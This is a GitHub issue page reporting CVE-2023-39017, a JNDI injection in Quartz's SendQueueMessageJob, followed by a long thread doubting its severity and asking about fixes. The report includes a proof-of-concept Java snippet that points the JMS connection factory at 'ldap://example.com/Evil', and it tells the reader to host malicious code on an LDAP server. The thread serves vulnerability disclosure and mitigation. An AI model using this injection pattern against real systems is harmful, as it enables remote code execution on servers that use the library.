You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
Repository navigation
API misuse of org.quartz.jobs.ee.jms.SendQueueMessageJob.execute would lead the code injection vulnerability. #943
Affected Version
The latest version 2.3.2 and below.
Describe the vulnerability
There is a method, org.quartz.jobs.ee.jms.SendQueueMessageJob.execute(JobExecutionContext), designed to send a jms message. However, passing an unchecked argument to this API can lead to the execution of arbitrary commands. For instance, following codes can lead to the execution of arbitrary commands from attackers:
JobExecutionContext context = new JobExecutionContext() {
......
@Override
public JobDataMap getMergedJobDataMap() {
JobDataMap map = new JobDataMap();
map.put("jms.connection.factory", "ldap://example.com/Evil");
return map;
}
......
};
SendQueueMessageJob job = new SendQueueMessageJob();
job.execute(context);
Root Cause and Potential Danger
The API is given more power than it should have, namely to just execute lookup without checking it. It violates the principle of least privilege. In this case, developers are not aware that the API used to send a jms message could execute arbitrary commands, leading to insufficient parameter validation and command execution.
We believe that this kind of implementation obscures the responsibility of security checks between the developers and the users of libraries, which has been confirmed by some developers. This issue is similar to the previously well-known Log4j2 vulnerability, where few developers knew that logging APIs could result in JNDI injection.
To Reproduce
First, establish an LDAP server and provide malicious code. Then, just execute above codes would reproduce it.
Fix Suggestion
Filter LDAP, RMI and related protocols when using lookup.
Reacted by Dennis Schridde, Omnibott6500, Raffaele Gambelli, flyingonfish and sblommers
hi falks. is there an ETA for this? also, are you going to fix this on top of 2.3.2 or part of 2.4.0?
Reacted by Sean R. Munoz, Thomas Crowley, Esteban C, theactionjackson, yuxiangdo, Chenyu Wang, Jarkko-10Duke, Mehdi EL AZRAK, Yeeler, captain and 3 more
This vulnerability is also recorded by Black Duck. It is numbered as BDSA-2023-1984 and its level is high. The score is 8.9. When will this vulnerability be fixed?
I wonder if this was responsibly disclosed by some other means with more complete demonstration of the issue claimed? This seems incomplete and a bit speculative.
At first glance, this seems a bit dubious to me, in both severity and validity - but happy to be educated.
Does an "attacker" not need access to execute arbitrary code as a pre-requisite anyway, to populate the value of JobDataMap or customise JobExecutionContext? If they can do that, why would they stop here? They could write any kind of code?
Is it reasonable to think that the JobDataMap and job context is going to source configuration from arbitrary user input as an attack vector?
In canonical usage, I believe JobExecutionContextImpls are created by JobRunShells internally during initialization:
The JobDataMap is generally supplied via a JobDetail, and constructed via a JobBuilder like the below (or in the docs) - no need to subclass override like the PoC here.
If folks are allowing untrusted user input into the construction of their JobDetail and JobDataMaps that configure JNDI+JMS in general, then that seems the real vulnerability to me.
Reacted by Christian Zeller, Andreas Schnapp, jakobmagiera, Bence Szabo, jhouserizer, zakdav, Alex Kondratyev, sblommers and Denis Rozhnev
Does an "attacker" not need access to execute arbitrary code as a pre-requisite anyway
Not necessarily I think. If you
replace the hard-coded map.put("jms.connection.factory", "ldap://example.com/Evil") with map.put("jms.connection.factory", jmsConnectionFactoryUrl) and
assume the value for jmsConnectionFactoryUrl is loaded from some configuration files
then the attacker won't need to alter existing binary code but would need access to the system to change configuration. This then leads to the same question you asked: why would they stop here?
Reacted by Chad Wilson, theactionjackson, Yeeler, Christian Zeller, jakobmagiera, jhouserizer, Bence Szabo and sblommers
Fair point @marcelstoer - if an attacker has arbitrary access to alter code OR server side configuration you're in a dangerous place anyway, already breached by some other means.
@maxqch we also noticed that the CPE matches any Quartz artifact and not just the affected one.
@marcelstoer, in case someone has a dependency to just quartz, they don't even have org.quartz.jobs.ee.jms.SendQueueMessageJob in the classpath. How is it possible the vulnerability to be active?
Sorry. I can't give you an authoritative answer to this as I didn't analyze it but it looks like the answer is no.
It would actually be something the folks who raised the issue in the first place should answer. Them being quiet further contributes to the dubious nature of this whole thing.
On Tue, Aug 8, 2023, 1:13 AM Marcel Stör ***@***.***> wrote:
Sorry. I can't give you an authoritative answer to this as I didn't
analyze it but *it looks like* the answer is no.
It would actually be something the folks who raised the issue in the first
place should answer. Them being quiet only contributes to the dubious
nature of this whole thing.
—
Reply to this email directly, view it on GitHub
<#943 (comment)>,
or unsubscribe
<https://github.com/notifications/unsubscribe-auth/AHLDHTJNMBSIUZ5MX66UBG3XUHYJLANCNFSM6AAAAAA2QIZKQM>
.
You are receiving this because you were mentioned.Message ID:
***@***.***>
Reacted by aston, xukun-cpu, Marouane Ougnou and signalw
I'd assume the CVE is detected if you're simply using org.quartz-scheduler dependency since all of quartz has a single CPE
Correct, everything is cpe:2.3:a:softwareag:quartz:* in the NVD right now.
Having said all this, even if you are using quartz-jobs, the CVSSv3.1 base score of 9.8 seems a bit indefensible to me, and not demonstrated by the so-called "exploit". For all of these impact metrics, NVD seem to have just taken things at face value that remote code execution is possible.
It seems to be of very low value to trawl the internet for libraries that have Java Context.lookup usage (without specifically whitelisting protocols) without actually evaluating whether it is remotely reasonable to assume a library user might mistakenly pass a value from untrusted input.
Anyway, it seems possible that the goal here is likely to be to gain "street cred" or buff up a resume by reporting many CVEs across projects any time it is possible to write code that allows configuration of a JNDI or LDAP URL via Context.lookup where JNDI injection is conceptually possible (entirely legitimate code to want to write, for the record, only dangerous in certain cases where a library user has no reason to believe something could be dangerous and is likely to pass data from user controlled input, e.g the log4j vulnerability).
Unfortunately anyone can abuse the CVE process by reporting CVEs; since there is seemingly little validation going on for CVE entries and everything appears to be taken largely at face value from reporters by MITRE. NVD can't possibly have expertise in the millions of libraries out there when they assess severity. Disputing a CVE seems basically impossible unless you are a big project, or at least heavily stacked against software maintainers - "guilty until proven innocent, or maybe never" (I've tried via both MITRE and NVD before). The entire benefit of the doubt is mysteriously given to largely anonymous reporters - not to maintainers or users. I suspect you have to be a mega-company with brand at stake to have the resources/energy to get disputed CVEs removed or re-assessed.
Even if this library did restrict ldap:// and rmi:// protocols, if you still allowed the connection factory to be passed from user controlled values, you'd be potentially allowing users to queue your jobs on their own malicious JMS servers which could exfiltrate your confidential data from your messages.
Reacted by Marouane Ougnou, Lee Coller, Pawel, pthiam-ep, Lei Tong, Ranjith Vijayan, :o and jhouserizer
@ilatypov i wish it worked like that. we have a seperate part of our organisation (Audit or whatever) which is forcing us to fix this. what a stupid system
@pcgeng yes it fixes it for me (that was the recommended version provided by my tooling), but I'm getting lots of "Cast Exceptions for FileScanner" when trying to use it. The jobs work as expected, it just clutters my logs a LOT
I see there is a RC version: Quartz 2.4.0 RC2, will it resolve this vulnerability?
We've updated to RC2 and used the OWASP Dependency-Check maven plugin and RC2 is still identified with known vulnerabilities: quartz-jobs-2.4.0-rc2.jar (pkg:maven/org.quartz-scheduler/quartz-jobs@2.4.0-rc2, cpe:2.3:a:softwareag:quartz:2.4.0:rc2:*:*:*:*:*:*) : CVE-2023-39017
I think the real risk here is that naked LDAP can be spoofed. If you use ldaps: (LDAP over TLS) with stock TrustManager, then you have mitigated the spoofing risk. It would probably be sufficient to restrict the URI's to local addresses unless TLS is being used, but that will probably also break existing code. I bet there isn't really a good excuse to do RMI or LDAP without TLS if you are really concerned about security, except maybe overhead/performance. When my team does a STRIDE analysis, TLS is our go-to mitigation for spoofing, tampering, and information disclosure risks.
Activity
carnil commentedon Aug 1, 2023
This issue seems to got assigned CVE-2023-39017
ogross74 commentedon Aug 1, 2023
hi falks. is there an ETA for this? also, are you going to fix this on top of 2.3.2 or part of 2.4.0?
tinycage1026 commentedon Aug 2, 2023
This vulnerability is also recorded by Black Duck. It is numbered as BDSA-2023-1984 and its level is high. The score is 8.9. When will this vulnerability be fixed?
chadlwilson commentedon Aug 4, 2023
I wonder if this was responsibly disclosed by some other means with more complete demonstration of the issue claimed? This seems incomplete and a bit speculative.
At first glance, this seems a bit dubious to me, in both severity and validity - but happy to be educated.
Does an "attacker" not need access to execute arbitrary code as a pre-requisite anyway, to populate the value of
JobDataMapor customiseJobExecutionContext? If they can do that, why would they stop here? They could write any kind of code?Is it reasonable to think that the
JobDataMapand job context is going to source configuration from arbitrary user input as an attack vector?In canonical usage, I believe
JobExecutionContextImpls are created byJobRunShells internally during initialization:quartz/quartz/src/main/java/org/quartz/core/JobRunShell.java
Line 143 in a5c4d27
The
JobDataMapis generally supplied via aJobDetail, and constructed via aJobBuilderlike the below (or in the docs) - no need to subclass override like the PoC here.quartz/quartz/src/main/java/org/quartz/JobBuilder.java
Lines 306 to 315 in a5c4d27
If folks are allowing untrusted user input into the construction of their
JobDetailandJobDataMaps that configure JNDI+JMS in general, then that seems the real vulnerability to me.marcelstoer commentedon Aug 4, 2023
👍
Not necessarily I think. If you
map.put("jms.connection.factory", "ldap://example.com/Evil")withmap.put("jms.connection.factory", jmsConnectionFactoryUrl)andjmsConnectionFactoryUrlis loaded from some configuration filesthen the attacker won't need to alter existing binary code but would need access to the system to change configuration. This then leads to the same question you asked: why would they stop here?
chadlwilson commentedon Aug 4, 2023
Fair point @marcelstoer - if an attacker has arbitrary access to alter code OR server side configuration you're in a dangerous place anyway, already breached by some other means.
maxqch commentedon Aug 4, 2023
Is it correct to say that this is only relevant if you are using the quartz-jobs artifact, and anyone just using quartz shouldn't be affected?
marcelstoer commentedon Aug 4, 2023
@maxqch we also noticed that the CPE matches any Quartz artifact and not just the affected one.
astonbitecode commentedon Aug 8, 2023
@marcelstoer, in case someone has a dependency to just
quartz, they don't even haveorg.quartz.jobs.ee.jms.SendQueueMessageJobin the classpath. How is it possible the vulnerability to be active?marcelstoer commentedon Aug 8, 2023
@astonbitecode See the discussion at jeremylong/DependencyCheck#5862
astonbitecode commentedon Aug 8, 2023
Thanks @marcelstoer. However, I was interested in the vulnerability itself, not the DependencyCheck-related discussion.
@maxqch asked a question whether someone is still affected, even if they just use quartz and not quartz-jobs artifact.
There is no explicit reply to this, instead the thumbs up reactions bellow the comment. I just wanted to be sure.
marcelstoer commentedon Aug 8, 2023
Sorry. I can't give you an authoritative answer to this as I didn't analyze it but it looks like the answer is no.
It would actually be something the folks who raised the issue in the first place should answer. Them being quiet further contributes to the dubious nature of this whole thing.
maxqch commentedon Aug 8, 2023
MaroIsLife commentedon Aug 10, 2023
I'd assume the CVE is detected if you're simply using
org.quartz-schedulerdependency since all of quartz has a single CPEchadlwilson commentedon Aug 10, 2023
Correct, everything is
cpe:2.3:a:softwareag:quartz:*in the NVD right now.Having said all this, even if you are using quartz-jobs, the CVSSv3.1 base score of 9.8 seems a bit indefensible to me, and not demonstrated by the so-called "exploit". For all of these impact metrics, NVD seem to have just taken things at face value that remote code execution is possible.
It seems to be of very low value to trawl the internet for libraries that have Java
Context.lookupusage (without specifically whitelisting protocols) without actually evaluating whether it is remotely reasonable to assume a library user might mistakenly pass a value from untrusted input.Anyway, it seems possible that the goal here is likely to be to gain "street cred" or buff up a resume by reporting many CVEs across projects any time it is possible to write code that allows configuration of a JNDI or LDAP URL via
Context.lookupwhere JNDI injection is conceptually possible (entirely legitimate code to want to write, for the record, only dangerous in certain cases where a library user has no reason to believe something could be dangerous and is likely to pass data from user controlled input, e.g the log4j vulnerability).Unfortunately anyone can abuse the CVE process by reporting CVEs; since there is seemingly little validation going on for CVE entries and everything appears to be taken largely at face value from reporters by MITRE. NVD can't possibly have expertise in the millions of libraries out there when they assess severity. Disputing a CVE seems basically impossible unless you are a big project, or at least heavily stacked against software maintainers - "guilty until proven innocent, or maybe never" (I've tried via both MITRE and NVD before). The entire benefit of the doubt is mysteriously given to largely anonymous reporters - not to maintainers or users. I suspect you have to be a mega-company with brand at stake to have the resources/energy to get disputed CVEs removed or re-assessed.
Even if this library did restrict
ldap://andrmi://protocols, if you still allowed the connection factory to be passed from user controlled values, you'd be potentially allowing users to queue your jobs on their own malicious JMS servers which could exfiltrate your confidential data from your messages.9 remaining items
j-blandford commentedon Oct 4, 2023
@ilatypov i wish it worked like that. we have a seperate part of our organisation (Audit or whatever) which is forcing us to fix this. what a stupid system
pcgeng commentedon Oct 25, 2023
I see there is a RC version: Quartz 2.4.0 RC2, will it resolve this vulnerability?
j-blandford commentedon Oct 25, 2023
@pcgeng yes it fixes it for me (that was the recommended version provided by my tooling), but I'm getting lots of "Cast Exceptions for FileScanner" when trying to use it. The jobs work as expected, it just clutters my logs a LOT
Dragas commentedon Jan 12, 2024
So to trigger this vulnerability you need
Am I reading this correctly?
rbertucat commentedon Feb 28, 2024
We've updated to RC2 and used the OWASP Dependency-Check maven plugin and RC2 is still identified with known vulnerabilities:
quartz-jobs-2.4.0-rc2.jar (pkg:maven/org.quartz-scheduler/quartz-jobs@2.4.0-rc2, cpe:2.3:a:softwareag:quartz:2.4.0:rc2:*:*:*:*:*:*) : CVE-2023-39017danieljeremias commentedon Mar 15, 2024
Is there a deadline to launch this fix?
avmusa commentedon Apr 11, 2024
Any idea of the date when the release build including CVE-2023-39017 fix will be published for v2.3.x?
wilx commentedon Nov 15, 2024
Is this fixed by 2.4.0?
Youli999 commentedon Dec 11, 2024
Validating parameters during function call passing can solve the problem, right?
mmellon commentedon Apr 8, 2025
I think the real risk here is that naked LDAP can be spoofed. If you use ldaps: (LDAP over TLS) with stock TrustManager, then you have mitigated the spoofing risk. It would probably be sufficient to restrict the URI's to local addresses unless TLS is being used, but that will probably also break existing code. I bet there isn't really a good excuse to do RMI or LDAP without TLS if you are really concerned about security, except maybe overhead/performance. When my team does a STRIDE analysis, TLS is our go-to mitigation for spoofing, tampering, and information disclosure risks.
jamesbtc47 commentedon Oct 14, 2025
hi guys, what version has a fix?
as see the comment as version 2.4.0 RC2 still has an issue
Dragas commentedon Oct 14, 2025
0 Integration test for quartz-scheduler/quartz#943
0 Integration test for quartz-scheduler/quartz#943